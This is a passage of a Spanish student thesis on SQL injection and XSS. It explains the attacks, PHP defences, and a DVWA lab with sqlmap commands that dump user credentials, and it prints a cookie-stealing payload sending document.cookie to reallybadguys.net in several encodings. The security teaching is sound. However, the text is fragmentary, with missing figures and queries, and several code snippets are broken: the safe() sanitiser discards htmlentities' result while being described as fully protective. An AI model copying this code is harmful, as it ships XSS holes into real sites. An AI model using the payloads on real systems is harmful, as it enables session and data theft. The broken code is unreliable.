están vinculadas a bases de datos. Una base de datos proporciona a los usuarios el acceso a
datos, que pueden visualizar, ingresar o actualizar, en concordancia con los derechos de acceso
que se les hayan otorgado. Se convierte más útil a medida que la cantidad de datos almacenados
crece, donde la información se almacena en equipos remotos y se puede acceder a ella a través
de la red.
28
Ataques
Se va suponer que disponemos de una tabla en nuestra base de datos denominada empleados
como la mostrada en la figura 17.
Si realizamos una consulta de la tabla tal y como se observa a continuación se obtendría como
resultado el indicado en la figura 18.
29
Figura 17: Empleados cuyo número de proyecto es el 4
Con la cláusula SELECT se está seleccionando la columna código_empl para mostrarla al realizar la
consulta. Al emplear la cláusula FROM se indica que la tabla en la que va buscar es empleados y
con WHERE se indica que solamente seleccione las filas que cumplen la condición en donde el
campo num_proyec tiene valor 4.
Otra clausula importante y de uso frecuente, es la cláusula ORDER BY, la cual permite ordenar los
datos en un orden determinado. Por ejemplo si se quiere consultar los nombres de los
empleados ordenados según el sueldo que ganan, y si ganan el mismo sueldo, ordenarlos
alfabéticamente por el nombre se realizarían la siguiente consulta:
La cláusula UNION permite unir consultas de dos o más sentencias SELECT. Su formato es el que
se aprecia en la Figura 20:
30
Ataques
Si ponemos la opción ALL, aparecerán todas las filas obtenidas a causa de la unión. No la
pondremos si queremos eliminar las filas repetidas
Para ver cómo funciona la cláusula UNION se van a definir dos tablas: departamentos y clientes
31
Figura 22: Resultado de la unión de la tabla clientes y departamento
Teniendo en cuenta que en la parte práctica se va emplear la aplicación DVWA, la cual emplea
MySQL, se van a explicar algunos conceptos para entender así los ejemplos mostrados
posteriormente. En MySQL INFORMATION_SCHEMA es la base de datos de información, que
almacena información acerca de todas las otras bases de datos que mantiene el servidor MySQL.
Dentro del INFORMATION_SCHEMA hay varias tablas de sólo lectura. En realidad son vistas, no
tablas, así que no puede ver ningún fichero asociado con ellas.
Cada usuario MySQL tiene derecho a acceder a estas tablas, pero sólo a los registros que se
corresponden a los objetos a los que tiene permiso de acceso. [6] En la Figura 24 se pueden ver
cuáles son estas tablas y una breve descripción de cada una de ellas. De todas esas tablas, se van
a utilizar las que vienen señaladas en esa misma figura.
32
Ataques
Los ataques de inyección son los más extendidos según OWASP (Open Web Application Security
Project) o famosos especialistas en antivirus y software de seguridad como Kaspersky o Panda.
Entonces, ¿qué es exactamente la inyección SQL? Es la vulnerabilidad que resulta cuando le das a
un atacante la capacidad de influir en el lenguaje de consulta estructurado (SQL).
Un ataque de inyección SQL consiste en la inserción o inyección de una sentencia SQL a través de
los datos de entrada de la aplicación del cliente. Si una inyección SQL ha tenido éxito se pueden
leer datos sensibles de la base de datos, modificar los datos de la base de datos (Insertar /
Actualizar / Eliminar), ejecutar operaciones de administración de la base de datos (por ejemplo,
apagar el DBMS (database management system)), recuperar el contenido de un archivo
determinado presente en el sistema de archivos del DBMS y en algunos casos ejecutar comandos
del sistema operativo. Los ataques de inyección SQL son un tipo de ataque de inyección, en el
que se inyectan comandos SQL en el panel de entrada de datos con el fin de efectuar la ejecución
de comandos SQL predefinidos.
La inyección SQL probablemente ha existido desde que las bases de datos SQL se conectaron a las
aplicaciones web. Las aplicaciones web son cada vez más sofisticadas y cada vez técnicamente
más complejas. Van desde páginas web comunes o sitios web relacionados con el comercio
electrónico, a las aplicaciones empresariales o aplicaciones ERP. La disponibilidad de estos
sistemas y la sensibilidad de los datos que almacenan se están convirtiendo en fundamental para
casi todas las empresas. Las Inyecciones SQL son una de las vulnerabilidades más devastadores
que afectan a un negocio, ya que pueden conducir a la exposición de toda la información sensible
almacenada en la base de datos de una aplicación, incluyendo información útil como nombres de
usuario, contraseñas, direcciones, números de teléfono y detalles de tarjetas de crédito.[7]
Al ser capaz de influir en la información que se le pasa a la base de datos, el atacante puede
aprovechar la sintaxis y las capacidades de SQL, así como la funcionalidad de la base de datos y la
funcionalidad del sistema operativo que contiene a la misma.
La inyección SQL no es una vulnerabilidad que afecta exclusivamente a las aplicaciones Web;
cualquier código que acepte la entrada de una fuente no confiable y luego utilice esa entrada
para formar sentencias de SQL dinámicas, podrían ser vulnerables. En el pasado, la inyección SQL
fue típicamente acuñada con bases de datos del lado servidor, sin embargo, con la especificación
actual de HTML5, un atacante también podría ejecutar JavaScript u otros códigos con el fin de
interactuar con una base de datos del cliente para robar datos.
Lo mismo ocurre con las aplicaciones móviles (como la plataforma Android), aplicaciones
maliciosas y/o scripts del lado del cliente se pueden aprovechar de forma similar.
Es tan simple como eso. Primero se tendrá que ver cómo el navegador (el cliente) envía
peticiones al servidor Web. Las diferentes aplicaciones se comportan de diferentes maneras,
pero los fundamentos deben ser los mismos, ya que todos los entornos están basados en Web.
[7]
Una vez identificados todos los datos aceptados por la aplicación, es necesario modificarlos y
analizar la respuesta del servidor. A veces, la respuesta incluirá un error de SQL directamente de
la base de datos y nos hará la vida más fácil; sin embargo, otras veces será más complicado y
habrá que detectar sutiles diferencias.
Los entornos Web son un ejemplo de arquitectura cliente / servidor. El navegador (que actúa
como cliente) envía una petición al servidor y espera una respuesta. El servidor recibe la solicitud,
genera una respuesta, y la envía de vuelta al cliente. Obviamente, tiene que haber algún tipo de
entendimiento entre las dos partes; de lo contrario, el cliente podría pedir algo y el servidor no
sabría qué responder. La comprensión de ambas partes se da por el uso de un protocolo, en este
caso, HTTP.
La exposición a inyecciones SQL se debe a una validación inadecuada del control de la entrada de
datos del usuario. Todas las páginas donde haya entradas en las que el usuario introduzca datos
deben ser sometidas a rigurosas rutinas de validación antes de ser aceptadas por la aplicación, no
solo la página principal, sino también las páginas indirectas de ésta.
Esta validación se debe realizar en el lado del servidor, ya que las actividades de validación
pueden anularse fácilmente desde el lado del cliente mediante, por ejemplo, la manipulación de
las solicitudes de un formulario. Lo ideal sería que todas las entradas se contrastaran contra una
lista blanca de entradas permitidas para cada tipo de entrada.
Como mínimo, de la entrada del lado del servidor deben eliminarse los caracteres
potencialmente peligrosas, tales como <> '' % ; ) ( & + y patrones SQL conocidos.
Con el fin de evitar las inyecciones SQL en PHP es muy recomendable usar comandos preparados
(conocidos como prepared statements) y sentencias parametrizadas. Estas sentencias SQL se
envían y procesan mediante el servidor de base de datos de forma independiente de los
parámetros. Esto es porque con las sentencias preparadas no es posible realizar las inyecciones
SQL convencionales.
34
Ataques
Las comillas técnicamente no son necesarias para los valores numéricos. No obstante, hemos
observado anteriormente que, con mucha diferencia, la principal fuente de intentos de inyección
SQL es una entrada de forma inesperada.
Si decido no poner comillas alrededor del valor edad y un usuario introduce un valor vacío en el
formulario, retornará un error y por tanto ya está dando pistas de que se trata de una aplicación
vulnerable. La consulta seria la siguiente:
En la Figura 25 se puede ver un ejemplo de error que daría una sentencia de este tipo, en el que
el motor de búsqueda SQL se indica que la sintaxis no es correcta, lo que nos da pistas de que es
vulnerable.
Sin embargo, esta consulta que se observa a continuación no producirá ningún resultado, pero al
menos no devolverá un mensaje de error, como lo haría un valor vacío sin comillas.
Por tanto, y tal como se aprecia en este sencillo ejemplo, es recomendable delimitar incluso los
tipos de datos que el propio lenguaje no les obligue a hacerlo.
- Si se está esperando un número, entonces se puede utilizar una de estas técnicas para
asegurarse que lo que se obtiene es numérico. Utilizar la función is_int () para comprobar
si es un entero. Del mismo modo se podría emplear is_float() o is_long() dependiendo
del tipo de número que estemos esperando recibir.
- Otra opción sería usar la función gettype () que nos indica el tipo de una variable.
35
- Para comprobar la longitud de la entrada del usuario se puede utilizar la función strlen()
que obtiene la longitud de una cadena.
La razón por la que no deben usarse es que una única opción de filtrado de caracteres para los
distintos enfoques es equivocado y muy peligroso. Los diferentes tipos de contenidos tienen
diferentes caracteres especiales y diferentes maneras en las que podrían tratarse, y lo que pueda
funcionar en uno tiende a tener efectos secundarios en otros. Fue introducido para ayudar a los
desarrolladores con poca experiencia a implantar seguridad de forma automática en la aplicación
sin tener que tener apenas conocimientos, pero pronto se dedujo que el código era vulnerable a
los ataques de inyección SQL.
El fichero php.ini contiene la configuración de PHP que se va utilizar en el servidor donde este
alojado nuestro portal. Este archivo lo solemos encontrar dentro del directorio donde hemos
realizado la instalación de la distribución PHP. Se trata de un archivo de texto que puede ser
editado con cualquier editor de texto simple que tengamos instalado en nuestro equipo y una vez
que lo editemos, nos encontraremos con un gran número de líneas de texto. Estas líneas las
podemos clasificar de la siguiente forma [9]:
- Líneas que comienzan por punto y coma (;). Suelen tratarse de comentarios explicando
el funcionamiento de ciertas directivas, siendo todas líneas ignoradas.
- Texto marcado con corchete. Por ejemplo [PHP] que indican la cabecera de una
determinada sección.
- Directivas. Es la parte más importante de este archivo y están formadas por una pareja
compuesta por una clave y su determinado valor. Por ejemplo "una_directirva = off"
quiere decir que esta deshabilitada y no se usa. Por el contrario, "una_directirva = on"
36
Ataques
significa que esta activada esa directiva. A la hora de modificar una directiva, hay que
tener presente que las mayúsculas y minúsculas no son lo mismo, es decir, hace
distinción entre ambas.
En este caso usuario y contraseña son filtrados con esta función y por tanto no son tomados
como sentencia SQL.
Por tanto esta última función sí que es aconsejable activarla en lugar de las dos anteriores.
Además de su cometido principal, si se incluye en la rutina de inicialización se puede reducir la
carga de la aplicación.
37
Figura 26: Comandos SQL que deben bloquearse
Usando MySQLi
MySQLi
Las sentencias preparadas usan el llamado protocolo binario entre cliente y servidor. El servidor
de MySQL envía los datos del conjunto de resultados tal cual, pero en formato binario. El cliente,
recibirá estos datos binarios e intentará convertirlos a valores propios de PHP.
Para utilizar el protocolo binario se debe crear un manejador de sentencias. Con este manejador,
se envía una plantilla de sentencia al servidor de bases de datos. El servidor analiza la plantilla de
38
Ataques
Una sentencia preparada puede parametrizarse mediante la inclusión de caracteres “?” para
indicar en qué lugar van aparecer los valores que se van a suministrar más tarde, cuando se
ejecute la instrucción.
El procedimiento general para usar una sentencia preparada incluye los siguientes pasos [10]:
6. Para recuperar las filas, se utiliza nuevamente la estructura MYSQL_BIND, pero esta vez
sirve como receptor para los datos devueltos por el servidor en lugar de una fuente de
datos para enviar al servidor. Hay que configurar una estructura MYSQL_BIND para cada
columna del conjunto de resultados. Contienen información sobre los valores que se
esperan recibir del servidor en cada fila. Se tiene que vincular las estructuras al
manejador de sentencias llamando mysql_stmt_bind_result () y luego se invoca
mysql_stmt_fetch () repetidamente para obtener cada fila. Después de realizar estos
pasos, se puede acceder a los valores de la columna de la fila actual.
<?php
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";
39
// Crear la conexión
$conn = new mysqli($servername, $username, $password, $dbname);
// Comprobar la conexión
if ($conn->connect_error) {
die("Conexxión fallida:" . $conn->connect_error);
}
// Prepare y bind
$stmt = $conn->prepare("INSERT INTO MyGuests (firstname, lastname, email)
VALUES (?, ?, ?)");
$stmt->bind_param("sss", $firstname, $lastname, $email);
$firstname = "Maria";
$lastname = "Garcia";
$email = "maria@ejemplo.com";
$stmt->execute();
$firstname = "Pepe";
$lastname = "Martin";
$email = "pepe@ejemplo.com";
$stmt->execute();
$stmt->close();
$conn->close();
?>
Si analizamos el código:
Se observa que insertamos un signo de interrogación (?) donde queremos sustituir un número
entero, cadena, valor doble o valor blob.
40
Ataques
Esta función une a los parámetros de la consulta SQL y le dice a la base de datos cuáles son los
parámetros. El argumento "sss" indica qué tipos de datos son los parámetros. El carácter “s” en
MySQL indica que el parámetro es una cadena, y como hay tres caracteres “s” habrá tres valores.
s - string
i - int
d - double
b – blob
Por tanto, debemos tener uno de estos argumentos para cada parámetro.
A continuación se muestran también como se realizarían las sentencias preparadas para las
operaciones básicas en MySQL:
INSERT
Esta secuencia de comandos explica cómo insertar datos en una tabla utilizando sentencias
preparadas en MySQLi.
$name = $_GET['username'];
$password = $_GET['password'];
SELECT
Esta secuencia de comandos explica cómo seleccionar datos en una tabla utilizando sentencias
preparadas en MySQLi.
$name = $_GET['username'];
if ($stmt = $mysqli->prepare("SELECT password FROM tbl_users WHERE name=?"))
{
41
// Ejecutar la sentencia
$stmt->execute();
// Obtener las variables de la query
$stmt->bind_result($pass);
// Recuperar los datos
$stmt->fetch();
// Mostrar los datos
printf("Password for user %s is %s\n", $name, $pass);
// Cerrar la sentencia preparada
$stmt->close();
}
UPDATE
Esta secuencia de comandos explica cómo actualizar datos en una tabla utilizando sentencias
preparadas en MySQLi.
$name = $_GET['username'];
$password = $_GET['password'];
DELETE
Esta secuencia de comandos explica cómo eliminar datos en una tabla utilizando sentencias
preparadas en MySQLi.
$name = $_GET['username'];
$password = $_GET['password'];
42
Ataques
$stmt->close();
}
<?php
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDBPDO";
try {
$conn = new PDO("mysql:host=$servername;dbname=$dbname", $username,
$password);
// Configurar el error PDO como excepción
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// Prepare sql y vinculación de parámetros
$stmt = $conn->prepare("INSERT INTO MyGuests (firstname, lastname,
email)
VALUES (:firstname, :lastname, :email)");
$stmt->bindParam(':firstname', $firstname);
$stmt->bindParam(':lastname', $lastname);
$stmt->bindParam(':email', $email);
43
$lastname = "Martin";
$email = "pepe@ ejemplo.com";
$stmt->execute();
echo "Creado correctamente";
}
catch(PDOException $e)
{
echo "Error: " . $e->getMessage();
}
$conn = null;
?>
En primer lugar debemos conocer el número de columnas para así ser capaces de usar la función
union() de SQL y empezar a inyectar código.
La cláusula ORDER BY tiene la funcionalidad de ordenar por el parámetro que le indiquemos, por
tanto una forma de conocer el número de columnas es ir variando este parámetro.
44
Ataques
Ahora que ya sabemos que el número de columnas es dos, vamos a proceder a realizar la primera
inyección para obtener datos de la base da de datos. Con la siguiente sentencia se obtiene la
versión y el nombre de la base de datos que estamos explotando:
Se observa como la versión del servidor MySQL es la 5.5 y el nombre de la base de datos es dvwa.
Una vez conocido el nombre de la base de datos, podemos hacer una consulta para averiguar el
nombre de las tablas que contiene de la siguiente forma:
45
Figura 31: Inyección para obtener el nombre de las tablas
Está compuesta por la tabla guestbook y users como se aprecia en la imagen. Ahora ya podemos
deducir que la tabla users podría contener información útil si nos ponemos en la posición de un
atacante, por lo que vamos a intentar obtener datos de ella.
La tabla users como se puede observar en la imagen está compuesta por varios campos, siendo
varios de ellos críticos como user o password que pueden provocar grandes problemas de
seguridad si una persona no autorizada es capaz de conseguirlos.
46
Ataques
En este caso se va emplear una de las más conocidas, y que viene instalada por defecto en la
distribución de KaliLinux. Esta herramienta se llama SQLMAP, y en las siguientes imágenes se van
a mostrar ejemplos de cómo funciona.
En primer lugar se van a mostrar las tablas de la base de datos dvwa introduciendo el siguiente
comando.
Sqlmap –u “http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --
cookie=“security=low; PHPSESSID= 51lfh85h14mpfp27s9a85qh150” -D dvwa --tables
Figura 33: Inyección mediante sqlmap para obtener las tablas de dvwa
Como resultado se puede observar que las tablas obtenidas son guestbook y users.
Como se puede ver, nos indica que el sistema operativo es la distribución Debian de Linux y que
se trata de una aplicación hecha en PHP y MySQL.
47
Figura 34: Resultado de la Inyección mediante sqlmap para obtener las tablas de dvwa
Una vez que hemos averiguado las tablas de la que se compone, buscamos las columnas de la
tabla users, ya que parece que puede tener información relevante. Con el siguiente comando
obtenemos el nombre de las columnas.
Sqlmap –u “http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --
cookie=“security=low; PHPSESSID= 51lfh85h14mpfp27s9a85qh150” -D dvwa -T users –columns
Figura 35: Inyección mediante sqlmap para obtener las columnas de la tabla users
Los resultados obtenidos son los mismos que al realizar la inyección SQL de forma manual, con la
diferencia de que también se muestra el tipo de dato que contiene cada columna. Por ejemplo el
tipo de dato que contiene la columna user es una cadena, el user_id es un número entero o el
last_login es una fecha.
48
Ataques
Figura 36: Resultado de la inyección mediante sqlmap para obtener las columnas de la tabla users
Sqlmap –u “http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --
cookie=“security=low; PHPSESSID= 51lfh85h14mpfp27s9a85qh150 ” -D dvwa -T users –C
user,password –dump
Figura 37: Inyección mediante sqlmap para obtener usuario y password de los usuarios
49
Figura 38: Resultado Inyección mediante sqlmap para obtener usuario y password de los usuarios
Como se ha podido comprobar es relativamente sencillo llevar a cabo ataques de inyección SQL
conociendo conceptos básicos sobre el lenguaje. Incluso más sencillo todavía es utilizar
herramientas automatizadas como sqlmap, aunque estas producen más ruido a la hora de
explotar un servicio y por tanto pueden ser más fácilmente detectables que si se realiza
manualmente.
4.2.1 Introducción
A menudo se utilizan los términos de Cross-Site Scripting y JavaScript de forma simultánea.
JavaScript es un lenguaje de script del lado del cliente introducido por Netscape en 1995. El
objetivo principal de JavaScript es hacer que el navegador realice algunas tareas en el lado del
cliente. A pesar de que JavaScript puede ser utilizado también para otros fines, se utiliza con
mayor frecuencia en los navegadores para implementar secuencias de comandos del lado del
cliente que pueden ser utilizados para alterar la página web que se muestra en el navegador. Por
ejemplo, mostrar un cuadro de diálogo emergente con un mensaje de error cuando el usuario
introduce un valor incorrecto o la publicación de anuncios en la página web. [11]
Algunos hackers pronto se dieron cuenta que el uso de JavaScript permitía leer los datos de las
páginas Web cargadas en ventanas o cuadros adyacentes. Por lo tanto, un sitio web malicioso
podía cruzar la frontera e interactuar con los contenidos cargados en una página Web
completamente diferente que no está relacionada con su dominio. Este truco fue nombrado
como ataque Cross Site Scripting. Curiosamente no se le denominó con las siglas CSS para no
confundirlo con las hojas de estilo en cascada, en su lugar se denominó XSS. El OWASP contiene
una lista con los 10 riesgos más críticos sobre seguridad en aplicaciones, denominado como TOP
10. XSS ha estado repetidamente en la parte superior de esa lista.
50
Ataques
Los ataques XSS por lo general se refieren a la manipulación de la página web a través de la
inyección de HTML y la inserción de secuencias de comandos maliciosos (como código JavaScript)
para controlar el navegador web del usuario cuando el usuario está navegando por la página
web. Se trata de aprovecharse de que los datos de entrada que no son validados correctamente
sean interpretados como fragmentos de código potencialmente malicioso.
Estamos hablando de los tipos de secuencias de comandos que pueden ser embebidos en
páginas HTML, y se ejecutan por el navegador. Hay cinco tipos comunes de este tipo de scripts,
cada uno marcado por su propia etiqueta HTML:
<Object>: De uso general para la inserción de los archivos dependientes de controles, como
reproductores multimedia, Flash o componentes ActiveX.
<Applet>: Se utiliza sólo para los applets de Java; desaprobados en HTML 4.01 a favor de
<object>, pero todavía de uso extendido.
<Iframe>: Se utiliza para insertar las páginas web en un marco en la página actual, y capaz de ser
nombrado un objetivo para el otro enlace.
Debe tenerse en cuenta que una imagen, interpretada por el navegador con una etiqueta <img>,
es una forma especializada de un <object>, por lo que también es posible incluir código malicioso
en una etiqueta de imagen en algunos navegadores.
Las dos etiquetas que se utilizan con más frecuencia son <script> e <iframe>. Se van a mostrar un
ejemplo de cada uno de ellos dentro de un HTML y el resultado que se produce para
comprenderlos mejor.
Etiqueta <script>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Ejemplo de script</title>
<script>
alert("PFG Javier Sánchez");
</script>
</head>
<body>
<p>Esta página contiene un script</p>
</body>
</html>
51
Figura 39: Ejemplo de script
Etiqueta <iframe>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Ejemplo de iframe</title>
<iframe src="https:/ /www.euitt.upm.es/" width="400" height="300"
name="ventana"></iframe>
</head>
<body>
<p>Esta página contiene un iframe</p>
</body>
</html>
52
Ataques
Ataques XSS reflejados. La aplicación web toma los datos proporcionados por el usuario
y lo incluye sin desinfección en las páginas de salida. El ataque se llama reflejado porque
el atacante hace que el usuario proporcione un script malicioso al servidor en una
solicitud que luego se reflejara al usuario en páginas devueltas, haciendo que el script se
ejecute. XSS Reflejado también se conoce como XSS no persistente.
Ataques XSS almacenados. En este tipo de ataque XSS, el atacante es capaz de incluir su
carga maliciosa en datos que se almacenan de forma permanente en el servidor y se
incluirán sin ninguna codificación de entidad HTML, para los visitantes posteriores. Este
tipo de XSS tiene una fuerte estabilidad y es más perjudicial ya que puede afectar a todos
los usuarios que accedan a una página determinada. XSS almacenado a menudo se llama
XSS persistente debido a que su efecto es relativamente largo.
Al igual que en las inyecciones SQL, una de las vías para evitar este tipo de vulnerabilidades es
validar y filtrar las cadenas introducidas por el usuario. Se analizaran las medidas en el siguiente
apartado.
Se van a examina en detalle varios métodos para reducir la exposición a ataques XSS, pero en
primer lugar, hay que aclarar un error muy común acerca de la seguridad en la capa de
transporte:
53
Para entender por qué SSL no impide XSS se va introducir el concepto de SSL y su
funcionamiento.
SSL es una pieza esencial de la seguridad de los sitios web y es independiente del protocolo
utilizado. Al visitar un sitio web con SSL, el certificado SSL del sitio web permite cifrar los datos
que se envían, como la información sobre tarjetas de créditos, nombres y direcciones de modo
que ningún hacker pueda acceder a ellos. El funcionamiento es el siguiente:
2. El servidor que recibe la solicitud envía un certificado al cliente que contiene la clave
pública del servidor firmado por una entidad de certificación (CA).
4. El servidor es capaz de descifrar la clave de sesión con su clave privada. De esta manera,
hay dos entidades que comparten una clave que sólo ellos conocen. Las transacciones
restantes pueden realizarse utilizando la clave de sesión, garantizando la integridad y la
confidencialidad de los datos que se intercambian.
Es interesante observar que tanto para el cliente como para el servidor, un ataque XSS parece
legítimo y que el comportamiento parece ser el esperado. La seguridad del transporte de red
tiene poca o ninguna influencia en el éxito de un ataque. El almacenamiento del ID de sesión SSL
de un cliente en la sesión de PHP debe ser un obstáculo para algunos XSS. Un identificador de
sesión PHP puede ser robado usando document.cookie (como se observará en la parte práctica) o
las direcciones IP pueden ser falseadas, pero no hay forma conocida de acceder a una clave
privada SSL, y por lo tanto no hay manera de falsificar una sesión SSL. SSL no puede evitar cross-
site en local, donde un usuario de confianza es engañado para hacer una petición maliciosa, pero
va a evitar que un atacante secuestre una sesión segura usando una técnica de cross-site. [12]
Los navegadores habilitados para SSL alertan a los usuarios sobre contenidos procedentes de
sitios inseguros, obligando a los ataques que incluyen código de otro sitio a hacerlo a través de un
certificado de servidor que ya es de confianza para el navegador del usuario.
En esta sección, se describen cinco formas de maquillar o filtrar la entrada del usuario para
asegurar (tanto como sea posible) que no sea capaz de crear un exploit XSS. Las estrategias son
las siguientes:
La medida más importante que se debe tomar para prevenir los ataques XSS es asegurarse de
que todos los datos proporcionados por el usuario que se emite en sus páginas web son
54
Ataques
En la Figura 43 se pueden observar una lista de caracteres que se deben codificar cuando están
presentes en los datos suministrados por el usuario y que posteriormente serán incluidos en las
páginas web:
La función htmlentities() de PHP traducirá todos los caracteres aplicables a entidades HTML, lo
cual convierte esos caracteres peligrosos en inofensivos y hace altamente recomendable el uso
de esta función.
También existe la función htmlspecialchars(), pero es más limitada. Como se ha comentado, hay
ciertos caracteres que tienen un significado especial en HTML, y esta función devuelve una
cadena con estas conversiones realizadas, pero sin embargo no realiza la conversión de todas las
subcadenas. Por tanto no debe ser utilizada.
<?php
function safe( $valor ) {
55
htmlentities( $valor, ENT_QUOTES, 'utf-8' );
// Otras operaciones
return $valor;
}
// Recuperamos $titulo y $mensaje de la entrada de usuario
$ titulo = $_POST['titulo'];
$ mensaje = $_POST['mensaje'];
// Mostramos de forma segura
print '<h1>' . safe( $ titulo) . '</h1>
<p>' . safe( $ mensaje) . '</p>';
?>
Este fragmento es sencillo. Después de recuperar la entrada del usuario, que se pasa a la función
safe(), se aplica la función htmlentities () de PHP a cualquier valor realizado en ella. Esto impide
absolutamente la incrustación de HTML, y por lo tanto también evita la incrustación de
JavaScript. Por último, se imprime el resultado de forma segura.
Cabe comentar, que el parámetro ENT_QUOTES siempre debe utilizarse con htmlentities (). Este
es el parámetro que indica a htmlentities () que convierta una comilla simple a la entidad ' y
una comilla doble a la entidad & # 034. Aunque la mayoría de los navegadores ya hacen esto,
algunos más antiguos no, por lo que htmlentities () ofrece una selección de esquemas de
traducción de comillas.
La función de PHP parse_url () dividirá una URL y la analizará devolviendo un array asociativo que
contiene aquellos componentes presentes en la URL. Esto hace que sea fácil comprobar si es
permisible como http o ftp, o inadmisible como Javascript.
La función parse_url () también contiene una clave de consulta que facilita el que no se permitan
las cadenas de consulta (queries) en la URL.
Sin embargo, pueden darse algunos casos donde los usuarios quieran referirse a un sitio con una
URL como:
http://ejemplo.com/pages.asp?pageId=23&lang=fr
http://banco.ejmplo.com/transferecia/?cantidad=1000
56
Ataques
Una protección adicional para los enlaces enviados por los usuarios es escribir el nombre del
dominio del enlace en texto plano al lado del propio enlace:
Visite <a href="http://sitiotrampa.net/trap.php"> evil.com </a> para ver las mejores fotos!
Un ejemplo de servicio que cambió a este sistema es Slashdot, un lugar de noticias orientado a la
tecnología y que actualmente pertenece a la Open Source Development Network, tras sufrir un
ataque en su página Web.
Se puede construir un filtro para que el usuario introduzca URLs tal que así [12]:
<?php
$SitiosDeConfianza = array('ejemplo.com',otro.ejemplo.com');
$ContadorSitiosDeConfianza = count( $SitiosDeConfianza);
function safeURL( $valor ) {
$partesURL = parse_url( $valor );
for ( $i = 0; $i < $ ContadorSitiosDeConfianza; $i++ ) {
if ( $ partesURL ['host'] === $ SitiosDeConfianza [$i] ) {
return $valor
}
}
$valor .= ' [' . $ partesURL ['host'] . ']';
return $value;
}
// Recuperar $url desde entrada de usuario
$url= $_POST['url'];
// Mostrarlo
echo safeURL( $url );
?>
En este fragmento de código se crea un array de los hosts que son de confianza, y una función
que compara la parte de host de la URL enviado por el usuario (obtenido con la función parse_url
()) con los elementos del array de confianza. Si encuentra una coincidencia, se devuelva la URL sin
modificar. Si no encuentra una coincidencia, se unen la parte de la URL del host con la propia URL
y se retorna.
57
La flexibilidad exigida por las normas de Internet para soportar caracteres de varios bytes y
codificaciones alternativas puede derrotar incluso al código más ingenioso, ya que hay muchas
maneras diferentes de representar un carácter. Se muestra un ejemplo de una misma línea
representada por diferentes codificaciones. Para la conversión se pueden emplear diversas
páginas web gratuitas.
Texto plano:
window.location='http://reallybadguys.net'+document.cookie;
Codificación URL:
%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%3D%27%
%74%74%70%3A%2F%2F%72%65%61%6C%6C%79%62%61%64%67%75%79
%73%2E%6E%65%74%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3
B
window.lo
cation='h
ttp://rea
llybadguy
s.net'+do
cument.co
okie;
window.locat
ion='http://r
eallybadguys.
net'+document
.cookie;
58
Ataques
d2luZG93LmxvY2F0aW9uPSdodHRwOi8vcmVhbGx5YmFkZ3V5cy5uZXQnK2RvY3VtZW50LmNvb2tp
Mientras que podría ser teóricamente posible diseñar un filtro que capture cada una de estas
diversas representaciones de la misma cosa, como cuestión práctica, no es probable que se
realice.
Otra medida es mantener una lista blanca de caracteres permitidos para cada tipo de campo.
Esta lista debe prohibir el uso de caracteres especiales que podrían ser utilizados para llevar a
cabo el ataque. Mientras que el enfoque de lista blanca es la defensa más eficaz contra este tipo
de ataque, no siempre es una solución práctica para algunas aplicaciones.
Un método menos eficaz es implementar una lista negra de caracteres conocidos que se emplean
para realizar ataques XSS. No obstante, es menos eficaz porque se pueden utilizar combinaciones
de caracteres utilizando diferentes esquemas de codificación para eludir estos filtros.
Lo más eficiente y aconsejable es el uso de una biblioteca de control de marcado como puede ser
el módulo Tidy de PHP que se asegura de encontrar y eliminar los intentos de añadir JavaScript,
atributos de estilo, u otros tipos de marcas indeseables desde el código HTML enviado por los
usuarios.
Otro recurso que vale la pena mencionar es el proyecto Safe_HTML que es Open Source y consta
de un conjunto de funciones para sanear la entrada de datos del usuario.
Mediante HttpOnly se añade el flag HttpOnly a las cookies que son devueltas por el servidor,
indicando al navegador web que la cookie sólo se debe utilizar al enviar peticiones HTTP al
servidor y no debe ser puesto a disposición de las secuencias de comandos del lado del cliente a
través de, por ejemplo, la propiedad document.cookie que se verá cómo funciona en la parte
práctica de esta sección. Si bien esto no resuelve completamente el problema de los ataques XSS,
consigue mitigar los ataques en los que el objetivo es robar información valiosa de las cookies del
usuario, como por ejemplo los ID de sesión.
Un ejemplo de para ver de forma más clara el flag de activación es el que se puede observar en la
Figura 44. En este caso no está activado por lo que supondría una vulnerabilidad.
59
Figura 43: flag HttpOnly
En el caso de usar una plataforma Web que no soportase HttpOnly cookie, es necesario saber qué
cookies se asocian con los identificadores de sesión. La siguiente tabla muestra el nombre de la
cookie identificador de sesión para algunos de los lenguajes más comunes [13]:
Por poner otro ejemplo, en PHP se añade la siguiente línea al archivo php.ini, el cual como se
explicó anteriormente, es el fichero que contiene la configuración de PHP que vamos a utilizar en
el servidor donde alojemos nuestro portal.
session.cookie_httponly = True
60
Ataques
Combinando esto con una restricción de comprobación del valor de referencia para todos los
formularios enviados a la interfaz privada, como este:
<? Php
if ($ _SERVER [ 'HTTP_REFERER']! = $ _SERVER [ 'HTTP_HOST']) {
salida ( "Que no puede ser utilizado fuera de su sitio primario. ');
}
?>
Si bien es cierto que no es particularmente difícil de falsificar una referencia, es casi imposible
conseguir el navegador de la víctima para hacerlo, que es lo que se requiere (ya que es el
navegador del usuario el que está enviando el formulario).
La única manera de auditar lo que los usuarios están realmente poniendo en el sistema es filtrar
todas las etiquetas que se muestran. El fragmento de secuencia de comandos siguiente muestra
un sistema un poco menos seguro pero posiblemente más práctico, donde se emplea una función
para filtrar lo que se invoca de forma selectiva.
<?php
$titulo = $_POST['titulo'];
$mensaje = $_POST['mensaje'];
La función safe() filtra a toda entrada de forma que no se mostrará ningún marcado contenido en
ella. Esta técnica permite ver lo que los usuarios están poniendo en realidad, e incluso podría
ayudar a descubrir nuevos ataques de marcado a medida que van apareciendo.
Si desea agregar una línea adicional de defensa mediante la creación de reglas Mod_security, he
aquí algunos fragmentos de script XSS comunes y expresiones regulares para bloquearlos [13]:
61
Figura 45: Relación de script y expresiones regulares
